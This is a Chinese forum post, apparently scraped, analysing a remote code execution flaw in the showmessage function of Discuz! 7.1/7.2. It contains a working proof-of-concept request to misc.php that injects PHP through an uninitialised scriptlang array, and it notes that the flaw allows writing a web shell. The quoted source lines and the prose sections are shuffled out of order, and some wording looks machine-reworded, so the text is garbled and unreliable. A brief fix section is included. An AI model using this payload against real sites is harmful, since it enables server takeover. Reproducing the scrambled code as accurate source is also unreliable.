- 注册时间
- 2011-10-23
- 最后登录
- 2011-10-31
- 阅读权限
- 50
- 积分
- 647
- 精华
- 0
- 帖子
- 202

升级   29.4%
|
54 } elseif(isset($language[$message])) {
31 }
28
48
poc:
18 foreach($funcstatinfo as $funcinfo) {
产生漏洞的$scriptlang数组在安装插件后已经初始化,因而有装置插件的用户不受影响。
13 $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
五、漏洞修复:
35 dheader("location: ".str_replace('&', '&', $url_forward));
40 }
39 $messagehandle = $extra;
09 showmessage('msn_binding_succeed', 'memcp.php');
47 }
12 if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
03 global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
51 $vars = explode(':', $message);//只有含:就可以了
06 $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
05 $msn = explode("\t", $msn);
53 eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义,
4 }
3 $_key{0} != '_' && $$_key = daddslashes($_value);
30 write_statlog($message);
59
37 if(!empty($infloat)) {
17 }
11 if($result == 'Declined') {
08 $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
showmessage函数里$vars = explode(':', $message);然后message可以本人把持,于是就很轻易了,参数是两个自定义的数组。
10 } else {
1.有补丁的打补丁;
2.没有补丁可以临时先解释引起漏洞的语句,或者对两个变量赋个值。
55 $pre = $inajax ? 'ajax_' : '';
23 }
11 $seccodecheck = $seccodestatus & 2;
05 $hookscriptmessage = $show_message = $message;$messagehandle = 0;
19 fwrite($fp, funcstat_query($funcinfo, $message)."\n");
破绽先容:
06 $msgforward = unserialize($_DCACHE['settings']['msgforward']);
56 eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
18
04 define('CACHE_FORBIDDEN', TRUE);
50
36 }
43 if(in_array($extra, array('HALTED', 'NOPERM'))) {
42 }
17 $funcstatinfo = array_unique($funcstatinfo);
14 if($fp = @fopen($statlogfile, 'a')) {
08 $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
下面来分析下这个远程代码执行漏洞,这个问题真的很重大,可以直接写shell的:
58 }
07 $refreshtime = intval($msgforward['refreshtime']);
24 fclose($fp);
19 }
四、漏洞利用:
16 if(is_array($funcstatinfo)) {
15 @flock($fp, 2);
09 $msgforward['refreshtime'] = $refreshtime * 1000;
注册一个用户登陆,而后提交
misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}
一、漏洞来自showmessage函数:预览源代码打印对于01 function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
14 showmessage($response['result']);//$response不初始化,可以自定义,
03 if(isemail($id)) {
20 }
49 include language('messages');
26 }
04 $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
漏洞剖析:
41 $extra = '';
60 ......
38 if($extra) {
33 if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
07 $msn = "$msn[0]\t$id";
45 } else {
44 $discuz_action = 254;
61 }
二、DZ的全局机制导致了未初始化的参数可以任意提交:预览源代码打印关于1 foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
02 extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量能够直接带进函数,直接导致了问题发生,
10 $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
12 dheader("Location: memcp.php");
2 foreach($$_request as $_key => $_value) {
02
5 }
三、misc.php正好有个可以自定义message的点,实在也是未初始化:预览源代码打印关于01 elseif($action == 'imme_binding' && $discuz_uid) {
15
34 updatesession();
32
22 fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
13 } else {
Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以履行任意PHP命令。
29 if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
以上是漏洞应用代码 !!!!
57 unset($pre);
46 $discuz_action = 255;
21 } else {
27 }
16 }
52 if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:宰割
25 $funcstatinfo = $GLOBALS['funcstatinfo'] = ''; |
|